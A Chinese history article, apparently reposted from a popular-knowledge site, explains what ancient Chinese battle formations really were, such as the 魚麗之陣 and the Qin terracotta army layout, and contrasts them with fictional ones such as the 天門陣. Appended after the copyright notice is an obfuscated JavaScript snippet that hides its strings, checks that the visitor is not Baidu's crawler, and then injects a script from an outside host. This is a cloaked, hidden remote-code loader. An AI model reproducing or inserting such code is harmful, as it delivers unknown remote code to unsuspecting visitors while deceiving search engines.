當前位置:首頁 > 歷史 > 戰(zhàn)史風云 > 正文

古代陣法究竟是什么 楊家將里的天門陣是真的嗎

2017-04-29 11:15:58  來源:360常識網(wǎng)   熱度:
導語:在研究陣法之前,首先必須先分清‘歷史上的陣法’和‘小說中的陣法’。比如《三國演義》中之八陣圖、《楊家將》里面的天門陣,是為小說中的

在研究陣法之前,首先必須先分清‘歷史上的陣法’和‘小說中的陣法’。比如《三國演義》中之八陣圖、《楊家將》里面的天門陣,是為小說中的陣法,作者往往將其描寫得神乎其神、光怪陸離,但事實上古人并沒有什么超人的法力,打戰(zhàn)也并非巫祝跳大神時的表演——歷史上的陣法,是一種軍隊的部署方式,陣字,古解為旅、為列、為軍陣,所以陣就是軍隊,陣法即是行軍布陣之法。

歷史上真實的陣法。傳說中國人在殷商時代已經(jīng)嫻于陣法,這是可能的,因為商代軍隊規(guī)模很大(婦好伐土方,用兵萬人),又出現(xiàn)了戰(zhàn)車,遠距離地行軍(易經(jīng)中說:高宗伐鬼方,三年克之)、兵種間的配合必然需要一定的規(guī)則和方法?,F(xiàn)在可見最早的陣法記錄出現(xiàn)在左傳中:“春王三月,楚武王荊尸…”這里的荊尸,杜預解釋為:‘楚陳兵之法?!烤埂G尸’之陣是什么模樣,不得而知。不久之后,鄭莊公使用了‘魚麗之陣’,這個‘魚麗陣’的樣子就很清晰了,左傳說:“曼伯為右拒,祭仲足為左拒,原繁、高渠彌以中軍奉公為魚麗之陣。先偏后伍,伍承彌縫,戰(zhàn)于繻葛。”——簡而言之,所謂的魚麗之陣,就是以中軍陣為主力,兩翼再各布一個方陣,戰(zhàn)車居前,步兵在后,戰(zhàn)車間的空隙由步卒填充。這樣的魚麗陣作戰(zhàn)時,先以兩翼之陣攻擊敵軍脆弱的兩翼,在乘勝會合中軍陣直攻敵軍中央?!梢姡瞎艜r代的陣法,并沒有什么神秘之處,不需要設壇做法,也沒有什么生門死門。

一字長蛇陣和龍門陣。這兩個陣來源不可靠,多是市井說書人的創(chuàng)作。比如一字長蛇陣,翻查資料有兩種解釋,一種是將軍隊橫向鋪開,列為一條長而窄的陣勢,猶如‘一’字向前齊步推進;另一種解釋為縱隊,長蛇陣即是一條縱向追擊隊列——第二種長蛇陣不可能排得很長,而第一種則顯而易見地容易被攻擊、分割,無論是哪一種,大概都達不到傳說中‘首尾相應、變化無窮’的效果。

何謂破陣?撇開小說家言而論,我以為真實存在的破陣應該指陣形間的相勝和兵種間的相克。比如面對馬其頓式密集的步兵方陣,步騎兵混合陣型顯然處在下風;再如交戰(zhàn)的地點選在山地,那么春秋式的車陣就無論如何發(fā)揮不了威力(此情況的例子如晉國與狄人作戰(zhàn),地形很狹隘,晉將魏舒便下令‘毀車’,將軍隊重組為甲士、步卒混合步兵陣,可算是因地布陣的典范)。

陣法的實物。實物有秦始皇兵馬俑,兵馬俑現(xiàn)在被研究的主要是三個坑,一號坑為長方形軍陣,以步兵、車兵組成,步兵為主力;二號坑為曲尺形軍陣,由步兵,甲士車兵,騎兵構(gòu)成;三號坑則為指揮中樞?,F(xiàn)在一般猜想是,秦俑軍陣大概是五陣型軍陣,一號坑陣為右翼,二號為前鋒,四號坑為左翼(疑為廢棄或未建成),三號坑為中軍,無號坑(尚未發(fā)現(xiàn))為殿后??梢?,秦俑反映出的軍陣大體上是一種梯次分明、功能配合的大陣,且組成大陣的各部分內(nèi)部也五臟俱全,可以獨當一面。

不用陣法的岳飛。宋代是陣法研究空前發(fā)達的時代,岳飛是兩宋之交的名將,然而,正是這樣一位名將,他本人據(jù)說是不屑陣法的,《宋史》里錄了他與宗澤的一段對話:“澤大奇之,曰:“爾勇智才藝,古良將不能過,然好野戰(zhàn),非萬全計?!币蚴谝躁噲D。飛曰:“陣而后戰(zhàn),兵法之常,運用之妙,存乎一心?!睗墒瞧溲浴!痹里w雖口說‘兵法之?!欢蛢?nèi)心而言,他看重的還是‘存乎一心’,還是‘野戰(zhàn)’。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}